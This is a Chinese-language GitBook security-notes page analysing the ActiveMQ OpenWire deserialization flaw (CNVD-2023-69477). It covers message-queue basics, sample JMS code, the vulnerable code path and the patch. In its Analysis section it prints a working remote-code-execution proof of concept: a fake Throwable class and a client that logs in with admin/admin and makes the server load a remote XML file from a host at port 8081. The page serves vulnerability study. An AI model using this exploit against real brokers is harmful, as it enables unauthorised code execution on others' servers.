Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • ActiveMQ Intro
  • Quick Start
  • Analysis
  • Patch

Was this helpful?

  1. 🎏MessageQueue

ActiveMQ CNVD-2023-69477

PreviousEnjoyNextAMQP CVE-2023-34050

Last updated 1 year ago

Was this helpful?

ActiveMQ Intro

ActiveMQ是一个消息队列,消息队列是在消息的传输过程中保存消息的容器,提供不同进程或同一进程不同线程之间的通讯方式,基于JMS规范(JMS:Java Message Service Java消息服务,有一套API接口)

其他类似的消息中间件:RabbitMQ、Kafka、RocketMQ、ZeroMQ

消息中间件的作用主要有3点

  • 异步性提升性能(放入消息队列,不需要立即处理)

  • 降低耦合度

  • 流量削峰(消息中间件起到了缓冲的作用)

  • producer:消息生产者

  • broker:消息处理中心,存储、确认、重试(broker可以翻译成代理)

  • consumer:消息消费者

ActiveMQ支持多种应用协议:OpenWire(常用)、StompREST、WSNotification、AMQP。

提供了两种消息模式:点对点模式(Queue)、发布订阅模式(Topic)

点对点模式中队列的消息只会被一个消费者所消费

发布订阅模式中每个订阅者都会收到消息

JMS定义的消息体类型有如下几种:

属性
类型

TextMessage

文本消息

MapMessage

k/v

BytesMessage

字节流

StreamMessage

java原始的数据流

ObjectMessage

序列化的java对象

Quick Start

windows下ActiveMQ下载👉https://activemq.apache.org/download-archives.html

这里下载5.18.2版本,/bin/win64目录下有一个activemq.bat,ActiveMQ默认端口为61616

ActiveMQ还提供了管理员控制台http://localhost:8161/admin/

默认账号密码admin/admin

Java引入依赖

<dependency>
    <groupId>org.apache.activemq</groupId>
    <artifactId>activemq-all</artifactId>
    <version>5.18.2</version>
</dependency>

Provider

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;
public class JmsSender {
    public static void main(String[] args) {
        Connection connection = null;
        Session session = null;
        try {
            String brokerURL = "tcp://127.0.0.1:61616";
            // create ConnectionFactory
            ConnectionFactory mqConnectionFactory = new ActiveMQConnectionFactory(brokerURL);

            connection = mqConnectionFactory.createConnection();
            connection.start();
            /**
             * Session createSession(boolean transacted, int acknowledgeMode) 创建会话
             * transacted :表示是否开启事务
             * acknowledgeMode:表示会话确认模式
             *      AUTO_ACKNOWLEDGE 自动确认
             *      CLIENT_ACKNOWLEDGE 客户确认
             */
            session = connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);
            /**
             * createQueue(String queueName):创建消息队列,指定队列名称,消费者可以根据队列名称获取消息
             */
            Destination destination = session.createQueue("queue-app");
            MessageProducer producer = session.createProducer(destination);
            int massageTotal = 5;
            for (int i = 0; i < massageTotal; i++) {
                // 创建一个文本消息
                TextMessage textMessage = session.createTextMessage("Round " + (i + 1) + "\n");
                producer.send(textMessage);  // 生产者发送消息
                session.commit();  // 会话提交
            }
        } catch (JMSException e) {
            e.printStackTrace();
        } finally {
            if (session != null) {
                try {
                    session.close(); //关闭会话
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
            if (connection != null) {
                try {
                    connection.close(); //关闭连接
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

Consumer

import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;

public class JmsReceiver {
    public static void main(String[] args) {
        Connection connection = null;
        Session session = null;
        try {
            String brokerURL = "tcp://127.0.0.1:61616";
            ConnectionFactory mqConnectionFactory = new ActiveMQConnectionFactory(brokerURL);

            connection = mqConnectionFactory.createConnection();
            connection.start();

            session = connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);

            Destination destination = session.createQueue("queue-app");
            MessageConsumer consumer = session.createConsumer(destination);
            int massageTotal = 5;
            for (int i = 0; i < massageTotal; i++) {
                TextMessage message = (TextMessage) consumer.receive(); // 消费者接收消息。因为对方发送的文本消息,所以可以强转
                session.commit(); // 确认消息,告诉中间件,消息已经确认接收
                System.out.println((i + 1) + ": " + message.getText());  // 获取消息文本
            }
        } catch (JMSException e) {
            e.printStackTrace();
        } finally {
            if (session != null) {
                try {
                    session.close();//关闭会话
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
            if (connection != null) {
                try {
                    connection.close();//关闭连接
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

Consumer端成功打印文本消息

Analysis

漏洞版本:ActiveMQ < 5.18.3

攻击对象:ActiveMQ服务端

ExceptionResponseMarshaller的tightUnmarshal或looseUnmarshal

会调用到父类的BaseDataStreamMarshaller的tightUnmarsalThrowable或looseUnmarsalThrowable

分别反序列化类名和消息,接着调用createThrowable

调用了类的构造方法,且构造方法只接收一个字符串

上面可知ActiveMQ的8161端口提供了一个管理员控制台,那就大概率依赖了Spring Web,看一下ActiveMQ的lib目录,果然有。

那就可以考虑调用org.springframework.context.support.ClassPathXmlApplicationContext的构造方法,远程加载恶意xml文件RCE。

ActiveMQ服务端接收到消息后,会调用org.apache.activemq.openwire.OpenWireFormat#unmarshal

unmarshal再到doUnmarshal,从数据流里读取数据类型,获取对应的序列化器,调用其tightUnmarshal或looseUnmarshal

为接上面的sink点,我们这里需要获取到ExceptionResponseMarshaller

对应的,客户端发送消息,会调用marshal,也是根据类型获取序列化器

看看ExceptionResponseMarshaller#tightMarshal1 -> BaseDataStreamMarshaller#tightMarshalThrowable1

这里获取了异常类的类名和消息(Throwable继承了其父类的message属性)

ExceptionResponseMarshaller即为ExceptionResponse的序列化器

异常打印的消息来自于exception成员,所以ClassPathXmlApplicationContext需要继承Throwable

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    private String message;

    public ClassPathXmlApplicationContext(String message) {
        this.message = message;
    }

    @Override
    public String getMessage() {
        return message;
    }
}
package org.example;

import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.ActiveMQSession;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.jms.*;

public class Main {
    public static void main(String[] args) throws Exception {
        ConnectionFactory connectionFactory = new
            ActiveMQConnectionFactory("tcp://127.0.0.1:61616");

        Connection connection = connectionFactory.createConnection("admin", "admin");
        connection.start();
        ActiveMQSession session = (ActiveMQSession) connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);
        ExceptionResponse exceptionResponse = new ExceptionResponse();

        exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));
        session.syncSendPacket(exceptionResponse);
        connection.close();
    }
}

Patch

https://github.com/apache/activemq/compare/activemq-5.18.3...activemq-6.0.0

新版本BaseDataStreamMarshaller#createThrowable增加了一处判断

OpenWireUtil#validateIsThrowable判断类是否为Throwable的子类,否则抛出异常

image-20231221211113882
image-20231221211128751
image-20231221211138060
image-20231221211202611
image-20231221211207941
image-20231221211218869
image-20231221211226719
image-20231221211237104
image-20231221211246556
image-20231221211255861
image-20231221211305370
image-20231221211313621
image-20231221211322076
image-20231221211330866
image-20231221211351699
image-20231221211401700
image-20231221211409230